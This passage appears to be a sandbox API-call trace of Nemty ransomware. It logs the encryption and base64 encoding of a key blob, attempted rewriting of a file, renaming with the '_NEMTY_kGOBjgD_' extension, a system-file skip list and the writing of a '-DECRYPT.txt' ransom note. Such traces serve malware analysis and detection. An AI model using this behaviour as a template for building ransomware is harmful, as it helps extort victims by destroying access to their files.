RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0147.212] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="blank.png", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0147.212] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="blank.png", cchWideChar=9, lpMultiByteStr=0x653ebd0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blank.png", lpUsedDefaultChar=0x0) returned 9 [0147.212] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0147.212] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0147.212] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0147.213] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="blank.png", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0147.213] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="blank.png", cchWideChar=9, lpMultiByteStr=0x653ec20, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blank.png", lpUsedDefaultChar=0x0) returned 9 [0147.213] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0147.213] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0147.213] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="blank.png", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0147.213] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="blank.png", cchWideChar=9, lpMultiByteStr=0x653ec58, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blank.png", lpUsedDefaultChar=0x0) returned 9 [0147.213] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0147.213] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0147.213] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0147.213] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63400f0 [0147.213] Sleep (dwMilliseconds=0x5) [0147.215] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xb64d490, dwHighDateTime=0x1d561e8)) [0147.215] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xb64d490, dwHighDateTime=0x1d561e8)) [0147.215] GetLastError () returned 0xb7 [0147.215] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0147.215] GetLastError () returned 0xb7 [0147.215] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0147.215] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0147.215] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0147.215] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0147.215] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0147.215] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0147.215] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340198 [0147.215] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340198, pcchString=0x653e91c | out: pszString="UkLuMA7esaO7EyMlxNRtMad0PpGr+H2bUR82IgwjBhwqtTyMviWRi9iVfs1vxHUd\r\n71+X+kEUjMD7fziES68pBHw/mfP+s0S7S0XIel/vAbuhwe3ICb4uJgYjyxE6SLUa\r\n4QtdkTVW3jCqCF0tqGcKEGXl50iZIU+iHxyWOsmDkGotAhrbsSWuWPFrqXdaD+KL\r\nPaVogM5bkwUM8xHpQjkn/tvj+C/HeydJYdhNMefEY3kuQiGkE5Hgtb/Uk+ZsfhxB\r\nAZ87K392IE6QOov9xsTnG3MOIlOuXp0MFv7NQpLPX/0E0gdMzp/KZlU3mJJTmp2K\r\nGpu3bEJia/WAvGsC+KYebg==\r\n", pcchString=0x653e91c) returned 1 [0147.216] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0147.216] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0147.216] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0147.216] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0147.216] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340198 [0147.216] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0147.216] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\blank.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\blank.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0147.216] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0147.217] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0147.217] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.217] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0147.226] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.226] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0147.226] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.226] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0147.235] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.235] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0147.235] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.235] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0147.245] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.245] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0147.245] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.245] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0147.254] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.254] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0147.254] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.254] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0147.264] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.264] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0147.264] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.264] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0147.274] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.274] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0147.274] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.274] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0147.283] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.283] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0147.283] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.283] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0147.293] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.293] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0147.293] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.293] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0147.302] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.302] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0147.302] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.302] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0147.312] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.312] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0147.312] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.312] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0147.318] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.318] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0147.318] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.318] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0147.324] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.324] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0147.324] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.324] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340198, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0147.324] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0147.324] CloseHandle (hObject=0xffffffff) returned 0 [0147.324] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0147.324] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0147.324] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0147.324] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0147.324] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0147.324] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0147.324] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63403b0 [0147.324] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340458 [0147.324] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0147.324] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0147.324] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\blank.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\blank.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\blank.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\blank.png._nemty_kgobjgd_")) returned 0 [0147.324] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340458 | out: hHeap=0x4f90000) returned 1 [0147.324] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0147.324] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0147.324] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0147.324] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0147.325] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0147.325] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0147.325] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0147.325] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x805ee1db, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x805ee1db, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="in_sidebar", cAlternateFileName="IN_SID~1")) returned 1 [0147.325] lstrcmpiW (lpString1="in_sidebar", lpString2=".") returned 1 [0147.325] lstrcmpiW (lpString1="in_sidebar", lpString2="..") returned 1 [0147.325] lstrcmpiW (lpString1="in_sidebar", lpString2="...") returned 1 [0147.325] lstrcmpiW (lpString1="in_sidebar", lpString2="windows") returned -1 [0147.325] lstrcmpiW (lpString1="in_sidebar", lpString2="$RECYCLE.BIN") returned 1 [0147.325] lstrcmpiW (lpString1="in_sidebar", lpString2="rsa") returned -1 [0147.325] lstrcmpiW (lpString1="in_sidebar", lpString2="NTDETECT.COM") returned -1 [0147.325] lstrcmpiW (lpString1="in_sidebar", lpString2="ntldr") returned -1 [0147.325] lstrcmpiW (lpString1="in_sidebar", lpString2="MSDOS.SYS") returned -1 [0147.325] lstrcmpiW (lpString1="in_sidebar", lpString2="IO.SYS") returned -1 [0147.325] lstrcmpiW (lpString1="in_sidebar", lpString2="boot.ini") returned 1 [0147.325] lstrcmpiW (lpString1="in_sidebar", lpString2="boot.ini") returned 1 [0147.325] lstrcmpiW (lpString1="in_sidebar", lpString2="AUTOEXEC.BAT") returned 1 [0147.325] lstrcmpiW (lpString1="in_sidebar", lpString2="ntuser.dat") returned -1 [0147.325] lstrcmpiW (lpString1="in_sidebar", lpString2="desktop.ini") returned 1 [0147.325] lstrcmpiW (lpString1="in_sidebar", lpString2="CONFIG.SYS") returned 1 [0147.325] lstrcmpiW (lpString1="in_sidebar", lpString2="RECYCLER") returned -1 [0147.325] lstrcmpiW (lpString1="in_sidebar", lpString2="BOOTSECT.BAK") returned 1 [0147.325] lstrcmpiW (lpString1="in_sidebar", lpString2="bootmgr") returned 1 [0147.325] lstrcmpiW (lpString1="in_sidebar", lpString2="programdata") returned -1 [0147.325] lstrcmpiW (lpString1="in_sidebar", lpString2="appdata") returned 1 [0147.325] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0147.325] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="in_sidebar", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0147.325] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="in_sidebar", cchWideChar=10, lpMultiByteStr=0x653ebd0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="in_sidebar", lpUsedDefaultChar=0x0) returned 10 [0147.325] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0147.325] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="in_sidebar", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0147.325] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="in_sidebar", cchWideChar=10, lpMultiByteStr=0x653ebd0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="in_sidebar", lpUsedDefaultChar=0x0) returned 10 [0147.325] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0147.325] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0147.325] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63400f0 [0147.325] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0147.326] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0147.326] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0147.326] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0147.326] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0147.326] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0147.326] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0147.326] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0147.326] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340198 [0147.326] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0147.326] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x6340260 [0147.326] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0147.326] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\in_sidebar\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\in_sidebar\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0147.326] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0147.326] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0147.326] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0147.327] CloseHandle (hObject=0x254) returned 1 [0147.328] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0147.328] 